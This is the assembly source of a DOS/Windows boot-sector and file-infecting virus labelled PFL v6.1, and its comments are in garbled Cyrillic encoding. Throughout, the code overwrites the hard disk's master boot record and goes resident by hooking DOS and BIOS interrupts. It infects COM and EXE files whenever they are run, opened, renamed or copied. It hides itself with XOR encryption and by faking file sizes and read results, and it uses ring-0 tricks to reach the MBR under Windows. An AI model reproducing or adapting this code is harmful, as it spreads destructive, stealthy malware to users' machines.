컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[PFL61.ASM]컴� ;컴컴컴컴컴컴컴컴� Const 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;꽞Þ췅 ˘p信� � 줎⒱졾 ;� length_of_virus_in_bate=(endvirus-virus) ;� ;꽞Þ췅 ˘p信� � 줎⒱졾 챥졻췅� ㄲ僧 ;� length_of_virus_in_bate_multiple_two=((endvirus-virus)/2)*2+2 ;� ;꽞Þ췅 ˘p信� � 醒も췴졾 ;� length_of_virus_in_sector=(length_of_virus_in_bate)/200h+1 ;� ;꽞Þ췅 ˘p信� 췅 �젵ゥ �� 晨ⓥ猶좑 file_align ;� length_virus_on_file=(endvirus-virus+length_of_antivirus_break_block) ;� ;뫅Б�� ぎ獸p硫 ��첓㏓졻� (08h - �ⅱĦº) ;� symbol_to_show = 08h ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 locals .386p seg_a segment byte public use16 assume cs:seg_a, ds:seg_a org 100h pfl proc far start: ;賽賽賽賽賽賽賽賽賽賽賽賽賽 ANTIVIRUS BREAK 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽� ;H� p쪧レ��� 쭬p젲����� �젵ゥ 誠α� ▲ㅳ� p졹��ギ짛筍碎 ANTIVIRUS'�瑜 ;죖篆� (獸囹� ⓨ �飡젺�쥯) pusha push ds es mov ah,2 mov dl,symbol_to_show int 21h ;賽賽賽賽賽賽賽賽賽賽賽賽賽 VIRUS ENTRYPOINT 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽 ;끷エ 췅 ℡�ㄵ DX = 'DK', 獸 Ħ�� 칛詮� 췅 �췴쵟レ�硫 �젵� virus: ; � 캙э殊 Д洙� VIRUS ㄾウ췅 췅若ㄸ恂� �� 젮pα� cs:0 call init_virus init_virus: pop bp sub bp,offset(init_virus-virus) ;맆訟ⓧp��蟯� db 0B0h ;MOV AL,0 crypt_byte: db 0 mov cx,offset(end_crypt-begin_crypt) lea si,[bp+begin_crypt-virus] encrypt_virus: xor cs:[si],al inc si loop encrypt_virus begin_crypt: jmp goto_virus ;賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽� MANAGER 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽 ;�쨛α 췅若┐��⑨ MANAGER'� � 캙э殊 M_ADDR = 0240h ;뫁，��� ˘p信� virus_segment = 0BC00h ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 begin_manager: dw 31F5h manager_int21_processing: pushf pusha push ds es cld push 0000h pop ds push virus_segment pop es cmp ax,2521h jz exit_manager cmp byte ptr ds:[0449h],3 ja exit_manager ;뤲�´黍� 췅エ葉� ˘說�� � 캙э殊 call check_virus_present jnc detected_virus_in_memory cmp byte ptr ds:[M_ADDR+virus_in_xms_flag-begin_manager],1 jz load_virus_via_HIMEM call load_virus_via_int13 call check_virus_present jc exit_load_virus ;뢱�´pº 칛ⓤ呻飡˘� HIMEM mov ax,4300h int 2Fh cmp al,80h jnz exit_manager push es mov ax,4310h int 2Fh mov word ptr ds:[M_ADDR+himem_entrypoint-begin_manager],bx mov word ptr ds:[M_ADDR+himem_entrypoint-begin_manager+2],es pop es ;귣ㄵワ�� 20 뒯ギ줎⒱ 캙э殊 mov ah,9 mov dx,20 call call_himem cmp ax,1 jnz exit_load_virus ;귣若�: DX - HANDLE mov ds:[M_ADDR+handle_destination_1-begin_manager],dx mov ds:[M_ADDR+handle_source_2-begin_manager],dx mov si,offset(M_ADDR+copy_to_xms-begin_manager) mov ah,0Bh ;뒶�쮘�쥯筍 � XMS call call_himem cmp ax,1 jnz exit_load_virus mov byte ptr ds:[M_ADDR+virus_in_xms_flag-begin_manager],1 load_virus_via_HIMEM: mov si,offset(M_ADDR+copy_from_xms-begin_manager) mov ah,0Bh call call_himem exit_load_virus: jmp exit_manager detected_virus_in_memory: ;룯誓쩆�� 承�젪ゥ�⑨ ˘說率 lds ax,ds:[M_ADDR+old_int21_vector_in_manager-begin_manager] mov es:[place_of_int21-virus],ax mov es:[place_of_int21-virus+2],ds pop es ds popa popf db 0eah dw offset(virus_int21_processing-virus) dw virus_segment exit_manager: pop es ds popa popf db 0eah old_int21_vector_in_manager: dd 00000000h ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 check_virus_present: pusha mov si,offset(begin_solve_crc-virus) mov cx,offset(end_solve_crc-begin_solve_crc-1) xor ax,ax xor dx,dx solve_crc: add ax,es:[si] jnc not_carry_1 inc dx not_carry_1: inc si loop solve_crc cmp ax,0A1CAh stc jnz exit_check_virus_present cmp dx,29h stc jnz exit_check_virus_present clc exit_check_virus_present: popa retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 load_virus_via_int13: xor bx,bx mov ah,02h ;뿨�졻� 醒も췴� mov al,length_of_virus_in_sector ;뫇�レぎ 葉�졻� mov dx,0080h ;0 ．ギ˚� mov cx,0003h ;0 與エ�쨛 3 醒も췴 int 13h retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 call_himem: db 09Ah himem_entrypoint: dd ? retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴 DATA IN MANAGER 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� copy_to_xms: length_of_block_1 dd length_of_virus_in_bate_multiple_two handle_source_1 dw 0 offset_source_1 dw 0,virus_segment handle_destination_1 dw 0 ; HANDLE IN XMS offset_destination_1 dd 0 copy_from_xms: length_of_block_2 dd length_of_virus_in_bate_multiple_two handle_source_2 dw 0 ; HANDLE IN XMS offset_source_2 dd 0 handle_destination_2 dw 0 offset_destination_2 dw 0,virus_segment manager_idle_flag db 0h ;1 MANAGER �紐ヮ曄� virus_in_xms_flag db 0h ;1 궓p信��� 收ギ 췅若ㄸ恂� � XMS hooked_win_int21_flag db 0h ;1 룯pε쥯曄� WIN_INT21 entry_manager: db 0EAh hooked_win_int21: dd ? ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 manager_int8_procesing: pusha push ds es push 0000h pop ds mov ax,ds:[21h*4+2] cmp byte ptr ds:[M_ADDR+wait_next_int21_flag-begin_manager],1 jz check_next_int21 cmp ax,0800h ja exit_int8_procesing mov byte ptr ds:[M_ADDR+wait_next_int21_flag-begin_manager],1 mov ds:[M_ADDR+dos_int21_seg-begin_manager],ax check_next_int21: cmp ax,ds:[M_ADDR+dos_int21_seg-begin_manager] jz exit_int8_procesing ;볚�젺젪エ쥯�� 聲�� INT 21 call install_int21 cli les bx,ds:[M_ADDR+old_int8_vector_in_manager-begin_manager] mov ds:[8*4],bx mov ds:[8*4+2],es exit_int8_procesing: pop es ds popa db 0eah old_int8_vector_in_manager: dd 0 dos_int21_seg dw 0 wait_next_int21_flag db 0 ;1 넠�� 笹ⅳ莘耀． ��ゥ ㄾ�� �죖젩�洵Ø� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;귛��: DS=0 install_int21: les bx,ds:[21h*4] mov ds:[M_ADDR+old_int21_vector_in_manager-begin_manager],bx mov ds:[M_ADDR+old_int21_vector_in_manager-begin_manager+2],es mov byte ptr ds:[M_ADDR+virus_in_xms_flag-begin_manager],0 mov byte ptr ds:[M_ADDR+hooked_win_int21_flag-begin_manager],0 mov dx,offset(M_ADDR+manager_int21_processing-begin_manager) mov ax,2521h int 21h retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 end_manager: ;賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽 BOOT 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽 begin_mbr: xor bx,bx cli mov sp,7c00h mov ss,bx sti jmp jump_version check_mbr: ;뙠洙� ㄻ� p졹��㎛젪젺⑨ α筍 エ щ 拾� 췅 MBR dw 31F5h db 61h ;궏p歲� ˘p信� v6.1 jump_version: push virus_segment pop es ;뿨�젰� ˘p信 � 궓ㄵ� 곥芯p BC00:0000 mov ah,02 ;뿨�졻� 醒も췴� mov al,length_of_virus_in_sector mov dx,0080h ;0 ．ギ˚� mov cx,0003h ;0 與エ�쨛 3 醒も췴 int 13h push es mov ax,offset(after_mbr-virus) push ax retf end_mbr: ;賽賽賽賽賽賽賽賽賽賽賽賽賽賽 AFTER BOOT 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽 ;H� ℡�ㄵ � AFTER MBR: ES=BC00h=CS after_mbr: ;룼ㄳ��젪エ쥯�� manager push 0000h pop es mov word ptr es:[21h*4+2],0801h push cs pop ds mov si,offset(begin_manager-virus) mov di,M_ADDR mov cx,offset(end_manager-begin_manager) ;롨Æ첓 αエ �젳Д� Manager'� ‘レ蜈 曄� 췅ㄾ .errnz offset(end_manager-begin_manager) GT (400h-M_ADDR) rep movsb ; DS:[SI] -> ES:[DI] ;볚�젺젪エ쥯�� MANAGER_INT8_PROCESSING lds bx,es:[8h*4] mov es:[M_ADDR+old_int8_vector_in_manager-begin_manager],bx mov es:[M_ADDR+old_int8_vector_in_manager-begin_manager+2],ds mov byte ptr ds:[M_ADDR+wait_next_int21_flag-begin_manager],0 cli mov bx,offset(M_ADDR+manager_int8_procesing-begin_manager) mov es:[8*4],bx mov word ptr es:[8*4+2],0 sti ;뿨�젰� �黍（췅レ�硫 MBR � ��誓쩆�� �с 承�젪ゥ��� mov ax,0201h ;뿨�졻� �ㄸ� 醒も췴 mov bx,7C00h mov dx,0080h ;0 ．ギ˚� mov cx,0002h ;0 與エ�쨛 2 醒も췴 int 13h ;뿨�젰� 췴ªÞ젷彛硫 MBR �� 젮pα� 0:7C00h push es push bx retf ;賽賽賽賽賽賽賽賽賽 VIRUS ENTRYPOINT AFTER ENCRYPT 賽賽賽賽賽賽賽賽賽賽賽賽賽 ;컴컴컴컴컴컴컴컴� Data section 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� NT_label db 10,'Windows*NT' ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 call_int_13: push ds push 0000h pop ds pushf call dword ptr ds:[13h*4] pop ds retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;묅ⅹ: PUSHA ; PUSH DS ES goto_virus: push cs pop ds ;뢱�´p畑� 將� Þ飡�ワ獸p cmp bx,'DK' jz GATE1_goto_normal_programm ;댂飡�ワ獸p 쩆� ㎛졻�, 譽� 쭬p젲졻� ��첓 p젺� ;뢱�´pº М┘� щ ��� NT 歲ㄸ� mov ah,62h int 21h mov es,bx mov es,es:[002Ch] xor di,di ;ES:DI = 0:0 - 롡 ゃ쩆 췅�졻� 稅젺쮘�쥯��� 캙э殊 mov cx,200h ;뫇�レぎ 稅젺쮘�쥯筍 mov bx,1h ;삝� 稅젺쮘�쥯�⑨ p젪�� 1'璵 lea si,[bp+NT_label-virus] call scan_mem_call jc GATE1_goto_normal_programm ;렊췅p拾Œ� Windows NT mov byte ptr ds:[bp+filename-virus],0 lea bx,[bp+endvirus-virus] mov di,bx ;듽쩆 MBR ㄾウ�� 〓筍 칛�葉�젺 call check_windows_present jc DOS_MBR_readed inc byte ptr ds:[bp+filename-virus] ;ES=CS 信�젺�˘쳽 check_windows_present mov cx,0001h ; 뫁�=1 뼥�=0 mov dx,0080h ; 꺇�=0 궓�� mov ax,0201h call call_int_13 jc GATE1_goto_normal_programm DOS_MBR_readed: cmp word ptr es:[bx+check_mbr-begin_mbr],31F5h jnz write_virus_to_mbr cmp byte ptr es:[bx+check_mbr-begin_mbr+2],61h jz write_memory GATE1_goto_normal_programm: jmp goto_normal_programm write_virus_to_mbr: mov ah,08h mov dl,80h call call_int_13 jc GATE1_goto_normal_programm and cl,00111111B ;CL-쵟めº젷彛硫 ��Д� 醒も���, �쩺�瑜 ㄲ� 〃�� 將� �� 뼥エ�쨛� ;멖-쵟めº젷彛硫 ��Д� 與エ�ㅰ� ;DH-뙛めº젷彛硫 ��Д� ．ギ˚�, �쩺�瑜 ㄲ� 〃�� 將� �� 뼥エ�쨛� cmp cl,1+1+length_of_virus_in_sector+1 ;1(MBR)+1(OLD_MBR)+(꽞Þ췅 ˘p信� � 醒も췴졾)+1(RESERVED) jc GATE1_goto_normal_programm ;뇿�ⓤ猶젰� �黍（췅レ�硫 MBR 췅 醒も�� mov ax,0301h mov dx,0080h ;0 ．ギ˚� mov cx,0002h ;0 與エ�쨛 2 醒も췴 (誠α� щ �p젺º 췴ªÞ젷彛硫 MBR) call call_int_13 jc GATE1_goto_normal_programm ;룳蜈� 收ギ ˘p信� 췅 ㄸ稅. mov ah,03h ;뫇�レぎ 醒も췴�� 쭬�º젰� ˘p信 mov al,length_of_virus_in_sector mov bx,bp inc cx ;0 與エ�쨛 3 醒も췴 (誠α� щ �p젺º 收ギ ˘p信�) call call_int_13 jc goto_normal_programm ;룯p���歲� 췅嵬 MBR'�莘 �졹筍 � ⓨ�Ł MBR lea si,[bp+begin_mbr-virus] ;�ㅰα MBR-��� �졹殊 ˘說��. lea di,[bp+endvirus-virus] ;�ㅰα ＄� �黍�. MBR 醒⑴졹 췅若ㄸ恂� mov cx,offset(end_mbr-begin_mbr) rep movsb ;뇿��歲� � �黍�. MBR 췅�. ;룳蜈п� 췅 MBR cmp byte ptr ds:[bp+filename-virus],0 jz DOS_MBR_write call prepare_to_protect_mode jc GATE1_goto_normal_programm ;룯pε�ㄸ� � 쭬蟯耀��硫 pⅵº ;H� ℡�ㄵ �pⅰ濕恂� ES - 뢱Ð졻�硫 醒，��� ㄻ� DPMI mov ax,cs add ax,0500h mov es,ax mov ax,1 call DPMI_call jc GATE1_goto_normal_programm push ds pop es call open_RING0_16prot_function lea di,[bp+write_MBR_call-virus] call RING0_16prot_function call close_RING0_16prot_function call back_to_real jmp write_memory DOS_MBR_write: call write_MBR_call ;賽賽賽賽賽賽賽賽賽賽賽賽賽賽 MEMORY WRITE 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽 write_memory: push 0000h pop ds cmp word ptr ds:[M_ADDR],31F5h jz manager_present push 0000h pop es push cs pop ds lea si,[bp+begin_manager-virus] mov di,M_ADDR mov cx,offset(end_manager-begin_manager) rep movsb ; DS:[SI] -> ES:[DI] push 0000h pop ds call install_int21 jmp goto_normal_programm manager_present: cmp byte ptr ds:[M_ADDR+manager_idle_flag-begin_manager],1h jnz goto_normal_programm mov byte ptr ds:[M_ADDR+manager_idle_flag-begin_manager],0 call install_int21 ;賽賽賽賽賽賽賽賽賽賽賽賽 GO TO NORMAL PROGRAMM 賽賽賽賽賽賽賽賽賽賽賽賽賽賽� goto_normal_programm: push cs pop ds cmp byte ptr ds:[bp+extention-virus],2 ;EXE �젵� jz itis_EXE_file ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� COM 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 pop es ds lea si,[bp+old_first_20_byte-virus] mov di,100h mov cx,20h rep movsb ;DS:[SI] -> ES:[DI] call turnoff_A20 popa push 0100h retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 itis_EXE_file: pop es mov bx,es add bx,0010h add ds:[bp+old_first_20_byte-virus+16h],bx ;Relo CS add ds:[bp+old_first_20_byte-virus+0eh],bx ;Relo SS add word ptr ds:[bp+sp_correct-virus],bp add word ptr ds:[bp+ss_correct-virus],bp add word ptr ds:[bp+jump_correct-virus],bp call turnoff_A20 pop ds popa cli db 02Eh,08Bh,26h ;뙉V SP,CS:[XXXX] sp_correct: dw offset(old_first_20_byte-virus+10h) db 02Eh,08Eh,16h ;뙉V SP,CS:[XXXX] ss_correct: dw offset(old_first_20_byte-virus+0Eh) sti jump_to_normal_programm: db 02Eh,0FFh,02Eh ;JMP DWORD PTR CS:[] jump_correct: dw offset(old_first_20_byte-virus+14h) ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 turnoff_A20: mov ax,4300h int 2Fh cmp al,80h jnz exit_turnoff_A20 push es mov ax,4310h int 2Fh mov ds:[bp+himem_entrypoint-virus],bx mov ds:[bp+himem_entrypoint-virus+2],es mov ah,06h call call_himem pop es exit_turnoff_A20: retn ;賽賽賽賽賽賽賽賽賽賽賽賽 INT 21 PROCESSING 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽� virus_int21_processing: pushf cld cmp ah,4Eh jnz next_step_1 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;뇿쩆�� - �쩺��α殊 �呻� ㄾ ⓤ첓�щ� �젵ギ� � ;DS:DX - �呻� ;� pusha ;� push es ;� mov si,dx ;� push cs ;� pop es ;� mov di,offset(path_for_4F_function-virus) ;� mov cx,80h ;� rep movsb ;DS:SI -> ES:DI ;� pop es ;� popa ;� jmp function_4E_4F ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_1: cmp ah,4Fh jnz next_step_2 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;뫇p猶젰� ㄻÞ��, 將� ㄻ� 押�ゆŁ 4E � 4F. ;� function_4E_4F: ;� push bx es ax ;� mov ah,2Fh ;� call call_int21 ;� ;귣若�: ES:BX - 젮pα� DTA ;� pop ax ;� call call_int21 ;� jc exit_stc_stealth ;� pusha ;� push ds es ;� mov ax,es:[bx+1Ah] ;� mov dx,es:[bx+1Ah+2] ;� call q_file_infected ;� jc exit_clc_stealth ;� push cs ;� pop ds ;� mov dx,offset(path_for_4F_function-virus) ;� call seach_name_from_path ;� mov di,dx ;� lea si,[bx+1Eh] ;닾� �젵쳽 ;� push ds es ;� pop ds es ;� mov cx,20h ;� rep movsb ;DS:SI -> ES:DI ;� push ds es ;� pop ds es ;� mov dx,offset(path_for_4F_function-virus) ;� call return_original_size_of_file ;� jc exit_clc_stealth ;� mov es:[bx+1Ah],ax ;� mov es:[bx+1Ah+2],dx ;� exit_clc_stealth: ;� pop es ds ;� ;� popa ;� pop es bx ;� popf ;� clc ;� retf 2 ;� exit_stc_stealth: ;� pop es bx ;� popf ;� stc ;� retf 2 ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_2: cmp ax,714Eh jnz next_step_3 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;뇿쩆�� - �쩺��α殊 �呻� ㄾ ⓤ첓�щ� �젵ギ� � ;DS:DX - �呻� ;� pusha ;� push es ;� mov si,dx ;� push cs ;� pop es ;� mov di,offset(path_for_714F_function-virus) ;� mov cx,80h ;� rep movsb ;DS:SI -> ES:DI ;� pop es ;� popa ;� jmp function_714E_714F ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_3: cmp ax,714Fh jnz next_step_4 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 function_714E_714F: ;� call call_int21 ;� jc exit_stc_stealth_714F ;� ;ES:DI - 飡p丞栒p� 쩆��音 ;� pusha ;� push ds es ;� mov bx,di ;� mov ax,es:[bx+20h] ;� mov dx,es:[bx+20h+2] ;� call q_file_infected ;� jc exit_clc_stealth_714E_714F ;� push cs ;� pop ds ;� mov dx,offset(path_for_714F_function-virus) ;� call seach_name_from_path ;� mov di,dx ;� lea si,[bx+2Ch] ;닾� �젵쳽 ;� push ds es ;� pop ds es ;� mov cx,20h ;� rep movsb ;DS:SI -> ES:DI ;� push ds es ;� pop ds es ;� mov dx,offset(path_for_714F_function-virus) ;� call return_original_size_of_file ;� jc exit_clc_stealth_714E_714F ;� mov es:[bx+20h],ax ;� mov es:[bx+20h+2],dx ;� exit_clc_stealth_714E_714F: ;� pop es ds ;� popa ;� popf ;� clc ;� retf 2 ;� exit_stc_stealth_714F: ;� popf ;� stc ;� retf 2 ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_4: cmp ah,3Ch jz function_3B_5C cmp ah,5Bh jnz next_step_5 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;DS:DX - º� �젵쳽 ;� function_3B_5C: ;� call call_int21 ;� jc exit_stc_function_3B_5C ;� pusha ;� push es ;� mov si,dx ;� push cs ;� pop es ;� mov di,offset(infect_after_copy_1-virus) ;� add di,2h ;� mov cx,80h ;� rep movsb ;DS:SI -> ES:DI ;� mov cs:[di],ax ;HANDLE ぎ�쮘濕М． �젵쳽 ;� pop es ;� popa ;� popf ;� clc ;� retf 2 ;� exit_stc_function_3B_5C: ;� popf ;� stc ;� retf 2 ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_5: cmp ax,4202h jnz next_step_6 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;볚�젺�˘筍 丞젳졻�レ �젵쳽 췅 ぎ�ζ + CX:DX ;� call select_stealth_handle ;� jc GATE1_set_old_int_24_jmpint21 ;� push cx si ;� mov si,cs:[pointer_to_active_stealth_buffer-virus] ;� add dx,word ptr cs:[si+original_size_of_infected_file] ;� adc cx,0 ;� add cx,word ptr cs:[si+original_size_of_infected_file+2] ;� mov ax,4200h ;� call call_int21 ;� pop si cx ;� popf ;� clc ;� retf 2 ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_6: cmp ah,3Fh jnz next_step_7 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;뿨�좐� �젵� ;� call select_stealth_handle ;� GATE1_set_old_int_24_jmpint21: ;� jc GATE2_set_old_int_24_jmpint21 ;� pusha ;� push cx ;� ;맆淞ⓥ젰� 稅�レぎ М┃� 칛�葉�졻� �� �젵쳽 ;� mov cs:[place_of_handle-virus+1],bx ;� call set_lseek_current ;� mov si,cs:[pointer_to_active_stealth_buffer-virus] ;� mov cx,word ptr cs:[si+original_size_of_infected_file] ;� mov bx,word ptr cs:[si+original_size_of_infected_file+2] ;� ;BX.CX - 럓ªÞ젷彛좑 ㄻÞ췅 쭬p젲����． �젵쳽 ;� ;DX.AX - Current LSEEK ;� sub bx,dx ;� jc lseek_biger ;� sub cx,ax ;� sbb bx,0 ;� jnc lseek_no_biger ;� lseek_biger: ;� pop ax ;� xor ax,ax ;� jmp read_file_3D ;� lseek_no_biger: ;� or bx,bx ;� jz check_smallers ;� pop ax ;� jmp read_file_3D ;� check_smallers: ;� ;CX - ぎエ曄飡¡ 줎⒱ ぎ獸p�� ¡㎚�┃� 칛�葉�졻� ;� pop ax ;뒶エ曄飡¡ 줎⒱ ぎ獸p�� 若舜� 칛�葉�졻� ;� cmp ax,cx ;� jbe read_file_3D ;� mov ax,cx ;� read_file_3D: ;� mov cs:[real_number_of_readed_bate-virus],ax ;� popa ;� call set_old_int24 ; 묅젪º 飡쟰�� 24'�� �誓贍쥯��� ;� xchg cx,cs:[real_number_of_readed_bate-virus] ;� call call_int21 ;� jc exit_stc_read_file_3D ;� xchg cx,cs:[real_number_of_readed_bate-virus] ;� call move_faked_bytes ;� popf ;� clc ;� retf 2 ;� exit_stc_read_file_3D: ;� popf ;� stc ;� retf 2 ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_7: call set_our_int24 ; 묅젪º 췅蜈 24 �誓贍쥯��� cmp ax,4b00h ; 귣��キⓥ� �젵� jnz next_step_8 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;댂十與p�쥯��� 칛� 쭬�信ぅ ;� call install_int21_hook ;� call Asciiz ;� call may_infect_this_file ;� jc check_anti_mem ;� call call_zaraza ;� GATE2_set_old_int_24_jmpint21: ;� jmp set_old_int_24_jmpint21 ;� check_anti_mem: ;� cmp byte ptr cs:[filename-virus],6 ;� jz anti_mem ;� cmp byte ptr cs:[filemask-virus],2 ;� jz anti_mem ;� cmp byte ptr cs:[filemask-virus],3 ;� jz anti_mem ;� cmp byte ptr cs:[filemask-virus],4 ;� jz anti_mem ;� jmp GATE2_set_old_int_24_jmpint21 ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_8: cmp ah,3Dh ;롡챥淫�� �젵쳽 jnz next_step_9 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;DS:DX - 닾� �젵쳽 ;� call valid_stealth_handles ;� call asciiz ;� call may_infect_this_file ;� jc infect_not_allowed ;� call call_zaraza ;� infect_not_allowed: ;� call asciiz ;� cmp byte ptr cs:[filemask-virus],1 ;� jnz set_old_int_24_jmpint21 ;� ;렊p젩졻猶젰� 獸レぎ 쭬p젲���瑜 �젵ル ;� call select_stealth_field ;� ;귣若�: CF=0, ES:BX - 몾�‘ㄽ�� ��ゥ ;� ; CF=1, �β ��ゥ� 聲�‘ㄽ音 ;� jc set_old_int_24_jmpint21 ;� call fill_stealth_field ;� jc set_old_int_24_jmpint21 ;� call set_old_int24 ; 묅젪º 飡쟰�� 24'�� �誓贍쥯��� ;� popf ;� call call_int21 ;� push si ;� mov si,cs:[pointer_to_active_stealth_buffer-virus] ;� mov cs:[si],ax ;� pop si ;� retf 0002 ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_9: cmp ah,56h ;룯pⅷД��쥯筍 �쩺�Д飡ⓥ� �젵� jz infected_fnc21 cmp ah,43h ;렞p�� 졻pÆ呻� �젵쳽 jnz next_step_10 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;룯pⅷД��쥯筍/�쩺�Д飡ⓥ� �젵� ;� ;뇿칛�� 졻pÆ呻� �젵쳽 ;� infected_fnc21: ;� call Asciiz ;� call may_infect_this_file ;� jc set_old_int_24_jmpint21 ;� call call_zaraza ;� jmp set_old_int_24_jmpint21 ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 next_step_10: cmp ah,3Eh jnz set_old_int_24_jmpint21 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;뇿p젲���� ��笹� ぎ�쮘�쥯�⑨ ;� call select_stealth_handle ;� jc check_after_copy_file ;� push si ;� mov si,cs:[pointer_to_active_stealth_buffer-virus] ;� mov word ptr cs:[si],0 ;� pop si ;� jmp set_old_int_24_jmpint21 ;� check_after_copy_file: ;� cmp word ptr cs:[infect_after_copy_1-virus],bx ;� jnz set_old_int_24_jmpint21 ;� call call_int21 ;� jc exit_stc_function_3E ;� pusha ;� push ds ;� push cs ;� pop ds ;� mov dx,offset(infect_after_copy_1-virus+2) ;� call asciiz ;� call may_infect_this_file ;� jc exit_clc_infect_after_copy ;� call call_zaraza ;� exit_clc_infect_after_copy: ;� call set_old_int24 ; 묅젪º 飡쟰�� 24'�� �誓贍쥯��� ;� pop ds ;� popa ;� popf ;� clc ;� retf 2 ;� exit_stc_function_3E: ;� call set_old_int24 ; 묅젪º 飡쟰�� 24'�� �誓贍쥯��� ;� popf ;� stc ;� retf 2 ;� 